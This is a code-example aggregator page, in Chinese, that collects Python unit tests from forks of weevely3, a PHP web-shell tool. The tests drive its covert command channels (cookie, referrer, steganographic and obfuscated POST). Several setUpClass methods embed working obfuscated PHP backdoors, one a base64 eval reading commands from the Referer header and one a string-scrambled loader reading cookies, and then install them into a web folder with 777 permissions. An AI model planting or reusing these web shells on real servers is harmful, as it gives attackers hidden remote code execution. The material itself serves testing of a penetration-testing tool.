当前位置: 首页>>代码示例>>Python>>正文


Python channel.Channel类代码示例

本文整理汇总了Python中core.channels.channel.Channel的典型用法代码示例。如果您正苦于以下问题:Python Channel类的具体用法?Python Channel怎么用?Python Channel使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。


在下文中一共展示了Channel类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: StegaRefChannel

class StegaRefChannel(BaseTest):

    def setUp(self):
        self.channel = Channel(
            'StegaRef',
            {
                'url' : self.url,
                'password' : self.password
            }
        )

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)
开发者ID:apal7,项目名称:weevely3,代码行数:25,代码来源:test_channels.py

示例2: setUp

 def setUp(self):
     self.channel = Channel(
         'LegacyReferrer',
         {
             'url' : self.url,
             'password' : self.password
         }
     )
开发者ID:apal7,项目名称:weevely3,代码行数:8,代码来源:test_channels.py

示例3: setUp

 def setUp(self):
     self.channel = Channel(
         'StegaRef',
         {
             'url' : config.base_url + '/test_channels/stegaref.php',
             'password' : self.password
         }
     )
开发者ID:Dark-Vex,项目名称:weevely3,代码行数:8,代码来源:test_channels.py

示例4: test_generators

    def test_generators(self):

        for i in range(0, 500):
            self._randomize_bd()
            obfuscated = generate(self.password)
            save_generated(obfuscated, self.path)
            self.channel = Channel(self.url, self.password, 'StegaRef')
            self._clean_bd()
开发者ID:baiyunping333,项目名称:weevely3,代码行数:8,代码来源:test_generators.py

示例5: test_wrong_cert

 def test_wrong_cert(self):
     
     ip = _get_google_ip()
     if not ip:
         return 
         
     url = 'https://%s/nonexistent' % (ip)
     
     channel = Channel(
         'LegacyReferrer',
         {
             'url' : url,
             'password' : 'none'
         }
     )
     
     try:
         channel.send('echo("1");')
     except Exception as e:
         self.fail("LegacyReferrer test_wrong_cert exception\n%s" % (str(e)))
开发者ID:apal7,项目名称:weevely3,代码行数:20,代码来源:test_channels.py

示例6: StegaRefChannelWrongCert

class StegaRefChannelWrongCert(BaseTest):

    def setUp(self):
        
        ip = _get_google_ip()
        if not ip:
            return 
            
        url = 'https://%s/nonexistent' % (ip)
        
        self.channel = Channel(
            'StegaRef',
            {
                'url' : url,
                'password' : 'none'
            }
        )

    def test_wrong_cert(self):
        
        try:
            self.channel.send('echo("1");')
        except Exception as e:
            self.fail("test_wrong_cert exception\n%s" % (str(e)))
开发者ID:apal7,项目名称:weevely3,代码行数:24,代码来源:test_channels.py

示例7: TestGenerators

class TestGenerators(TestCase):

    def test_generators(self):

        for i in range(0, 100):
            self._randomize_bd()
            obfuscated = generate(self.password)
            save_generated(obfuscated, self.path)

            self.channel = Channel(
                'ObfPost',
                {
                    'url' : self.url,
                    'password' : self.password
                }
            )
            self._incremental_requests(10, 100, 30, 50)

            self._clean_bd()

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)

    @classmethod
    def _randomize_bd(cls):
        cls.password = utils.strings.randstr(10)
        password_hash = hashlib.md5(cls.password).hexdigest().lower()
        filename = '%s_%s.php' % (
            __name__, cls.password)
        cls.url = os.path.join(base_url, 'generators', filename)
        cls.path = os.path.join(base_folder, 'generators', filename)

    @classmethod
    def _clean_bd(cls):
        os.remove(cls.path)
开发者ID:Dark-Vex,项目名称:weevely3,代码行数:47,代码来源:test_generators.py

示例8: test_generators

    def test_generators(self):

        for i in range(0, 100):
            self._randomize_bd()
            obfuscated = generate(self.password)
            save_generated(obfuscated, self.path)

            self.channel = Channel(
                'ObfPost',
                {
                    'url' : self.url,
                    'password' : self.password
                }
            )
            self._incremental_requests(10, 100, 30, 50)

            self._clean_bd()
开发者ID:Dark-Vex,项目名称:weevely3,代码行数:17,代码来源:test_generators.py

示例9: BaseDefaultChannel

class BaseDefaultChannel(BaseTest):

    def setUp(self):
        self.channel = Channel(self.url, self.password)

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)
开发者ID:BaldyBadgersRunningRoundMyBrain,项目名称:weevely3,代码行数:19,代码来源:test_channels.py

示例10: LegacyCookieChannel

class LegacyCookieChannel(BaseTest):

    def setUp(self):
        self.channel = Channel(self.url, self.password, 'LegacyCookie')

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)

    @classmethod
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.INFO)

        cls._randomize_bd()
        cls.password = 'asdasd'

        # Check `config.script_folder` permissions
        if (
            subprocess.check_output(
                config.cmd_env_stat_permissions_s % (config.script_folder),
                shell=True).strip()
            != config.script_folder_expected_perms
            ):
            raise DevException(
                "Error: give to the http user full permissions to the folder \'%s\'"
                % config.script_folder
            )

        obfuscated = """<?php
$xcrd="mVwbeoGFjZShhceonJheSgnL1teXHc9XeoHeoNdLycsJy9ccy8nKSwgYXeoJyYXkeooJycsJysnKSwgam";
$dqlt="JGMeo9J2NvdW50JzskYT0kX0NPT0tJRTtpeoZihyZXNldCgkeoYSk9PSdhcycgJeoiYeogJGMoeoJGEpP";
$lspg="9pbihhcnJheeoV9zbeoGljZSgeokYeoSeowkYygkYSktMykpKSkpO2VeojaG8gJzwvJyeo4kay4nPic7fQ==";
$tylz="jMpeyRreoPeoSeodkYXeoNkJztlY2hvICc8Jy4kay4nPieoc7ZXZhbeoChiYXNlNjRfZGVjb2RlKHByZWdfeoc";
$toja = str_replace("z","","zsztr_zrzezpzlazce");
$apod = $toja("q", "", "qbaqsqeq6q4_qdecodqe");
$fyqt = $toja("uw","","uwcruweuwauwtuwe_funuwcuwtuwiouwn");
$sify = $fyqt('', $apod($toja("eo", "", $dqlt.$tylz.$xcrd.$lspg))); $sify();
?>"""

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(
            config.cmd_env_move_s_s % (tmp_path, cls.path),
            shell=True)

        subprocess.check_call(
            config.cmd_env_chmod_s_s % ('777', cls.path),
            shell=True)

    @classmethod
    def tearDownClass(cls):

        # Check the agent presence, could be already deleted
        if os.path.isfile(cls.path):
            subprocess.check_call(
                config.cmd_env_remove_s % cls.path,
                shell=True
            )

    def test_1_100_requests(self):
        self._incremental_requests(1, 100, 1, 2)

    def test_100_1000_requests(self):
        self._incremental_requests(100, 1000, 10, 20)
开发者ID:baiyunping333,项目名称:weevely3,代码行数:79,代码来源:test_channels.py

示例11: LegacyCookieChannel

class LegacyCookieChannel(BaseTest):

    url = config.base_url + '/test_channels/legacycookie_php.php'

    def setUp(self):
        
        self.channel = Channel(
            'LegacyCookie',
            {
                'url' : self.url,
                'password' : self.password
            }
        )

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)

    def test_1_100_requests(self):
        self._incremental_requests(1, 100, 1, 2)

    def test_100_1000_requests(self):
        self._incremental_requests(100, 1000, 10, 20)

    def test_additional_headers(self):
        self.channel.channel_loaded.additional_headers = [
            ( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4;'),
            ( 'User-Agent', 'CLIENT'),
            ( 'X-Other-Cookie', 'OTHER')
        ]

        headers_string = self.channel.send(
                            'print_r(getallheaders());'
        )[0]

        self.assertRegexpMatches(headers_string, '\[Cookie\] => [A-Z0-9]+=[^ ]{2}; C1=F1; C2=F2; C3=F3; C4=F4(; [A-Z0-9]+=[^ ]+)+')
        self.assertRegexpMatches(headers_string, '\[User-Agent\] => CLIENT')
        self.assertRegexpMatches(headers_string, '\[X-Other-Cookie\] => OTHER')

        self.channel.channel_loaded.additional_headers = [ ]

    def test_wrong_cert(self):
        
        ip = _get_google_ip()
        if not ip:
            return 
            
        url = 'https://%s/nonexistent' % (ip)
        
        channel = Channel(
            'LegacyCookie',
            {
                'url' : url,
                'password' : 'none'
            }
        )
        
        try:
            channel.send('echo("1");')
        except Exception as e:
            self.fail("LegacyCookie test_wrong_cert exception\n%s" % (str(e)))
开发者ID:Dark-Vex,项目名称:weevely3,代码行数:72,代码来源:test_channels.py

示例12: LegacyReferrerChannel

class LegacyReferrerChannel(BaseTest):

    url = config.base_url + '/test_channels/legacyreferrer.php'
    password = 'asdasd'

    def setUp(self):
        self.channel = Channel(
            'LegacyReferrer',
            {
                'url' : self.url,
                'password' : self.password
            }
        )

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)

    def test_1_100_requests(self):
        self._incremental_requests(1, 100, 1, 2)

    def test_100_1000_requests(self):
        self._incremental_requests(100, 1000, 10, 20)

    def test_additional_headers(self):
        self.channel.channel_loaded.additional_headers = [
            ( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4'),
            ( 'Referer', 'REFERER'),
            ( 'X-Other-Cookie', 'OTHER')
        ]

        headers_string = self.channel.send(
                            'print_r(getallheaders());'
        )[0]

        self.assertIn('[Cookie] => C1=F1; C2=F2; C3=F3; C4=F4', headers_string)
        self.assertNotIn('REFERER1', headers_string)
        self.assertIn('[X-Other-Cookie] => OTHER', headers_string)


    def test_wrong_cert(self):
        
        ip = _get_google_ip()
        if not ip:
            return 
            
        url = 'https://%s/nonexistent' % (ip)
        
        channel = Channel(
            'LegacyReferrer',
            {
                'url' : url,
                'password' : 'none'
            }
        )
        
        try:
            channel.send('echo("1");')
        except Exception as e:
            self.fail("LegacyReferrer test_wrong_cert exception\n%s" % (str(e)))
开发者ID:Dark-Vex,项目名称:weevely3,代码行数:71,代码来源:test_channels.py

示例13: run

    def run(self):
	cchannel = os.path.join(os.path.dirname(self.session['path']),"channels")
	Channel.add_to_chan(self.args["url"],self.args["password"],cchannel)
        return "Entry point "+self.args["url"]+":"+self.args["password"]+" added" 
开发者ID:jack-lean,项目名称:weevely3,代码行数:4,代码来源:add.py

示例14: LegacyReferrerChannel

class LegacyReferrerChannel(BaseTest):

    def setUp(self):
        self.channel = Channel(
            'LegacyReferrer',
            {
                'url' : self.url,
                'password' : self.password
            }
        )

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)

    @classmethod
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.INFO)

        cls._randomize_bd()
        cls.password = 'asdasd'

        # Check `config.script_folder` permissions, comparing just the
        # last 3 digits

        if (
            subprocess.check_output(
                config.cmd_env_stat_permissions_s % (config.script_folder),
                shell=True).strip()[-3:]
            != config.script_folder_expected_perms[-3:]
            ):
            raise DevException(
                "Error: give the required permissions to the folder \'%s\'"
                % config.script_folder
            )


        obfuscated = """<?php eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2FzJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGRhc2Q+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L2Rhc2Q+Jzt9')); ?>"""

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(
            config.cmd_env_move_s_s % (tmp_path, cls.path),
            shell=True)

        subprocess.check_call(
            config.cmd_env_chmod_s_s % ('0777', cls.path),
            shell=True)

    @classmethod
    def tearDownClass(cls):

        # Check the agent presence, could be already deleted
        if os.path.isfile(cls.path):
            subprocess.check_call(
                config.cmd_env_remove_s % cls.path,
                shell=True
            )

    def test_1_100_requests(self):
        self._incremental_requests(1, 100, 1, 2)

    def test_100_1000_requests(self):
        self._incremental_requests(100, 1000, 10, 20)

    def test_additional_headers(self):
        self.channel.channel_loaded.additional_headers = [
            ( 'Cookie', 'C1=F1; C2=F2; C3=F3; C4=F4'),
            ( 'Referer', 'REFERER'),
            ( 'X-Other-Cookie', 'OTHER')
        ]

        headers_string = self.channel.send(
                            'print_r(getallheaders());'
        )[0]

        self.assertIn('[Cookie] => C1=F1; C2=F2; C3=F3; C4=F4', headers_string)
        self.assertNotIn('REFERER1', headers_string)
        self.assertIn('[X-Other-Cookie] => OTHER', headers_string)


    def test_wrong_cert(self):
        
        ip = _get_google_ip()
        if not ip:
#.........这里部分代码省略.........
开发者ID:apal7,项目名称:weevely3,代码行数:101,代码来源:test_channels.py

示例15: LegacyReferrerChannel

class LegacyReferrerChannel(BaseTest):

    def setUp(self):
        self.channel = Channel(self.url, self.password, 'LegacyReferrer')

    def _incremental_requests(
            self,
            size_start,
            size_to,
            step_rand_start,
            step_rand_to):

        for i in range(size_start, size_to, random.randint(step_rand_start, step_rand_to)):
            payload = utils.strings.randstr(i)
            self.assertEqual(
                self.channel.send(
                    'echo("%s");' %
                    payload)[0],
                payload)

    @classmethod
    def setUpClass(cls):

        if config.debug:
            stream_handler.setLevel(logging.DEBUG)
        else:
            stream_handler.setLevel(logging.INFO)

        cls._randomize_bd()
        cls.password = 'asdasd'

        # Check `config.script_folder` permissions
        if (
            subprocess.check_output(
                config.cmd_env_stat_permissions_s % (config.script_folder),
                shell=True).strip()
            != config.script_folder_expected_perms
            ):
            raise DevException(
                "Error: give to the http user full permissions to the folder \'%s\'"
                % config.script_folder
            )

        obfuscated = """<?php eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2FzJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGRhc2Q+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L2Rhc2Q+Jzt9')); ?>"""

        tmp_handler, tmp_path = tempfile.mkstemp()
        save_generated(obfuscated, tmp_path)
        subprocess.check_call(
            config.cmd_env_move_s_s % (tmp_path, cls.path),
            shell=True)

        subprocess.check_call(
            config.cmd_env_chmod_s_s % ('777', cls.path),
            shell=True)

    @classmethod
    def tearDownClass(cls):

        # Check the agent presence, could be already deleted
        if os.path.isfile(cls.path):
            subprocess.check_call(
                config.cmd_env_remove_s % cls.path,
                shell=True
            )

    def test_1_100_requests(self):
        self._incremental_requests(1, 100, 1, 2)

    def test_100_1000_requests(self):
        self._incremental_requests(100, 1000, 10, 20)
开发者ID:baiyunping333,项目名称:weevely3,代码行数:70,代码来源:test_channels.py


注:本文中的core.channels.channel.Channel类示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。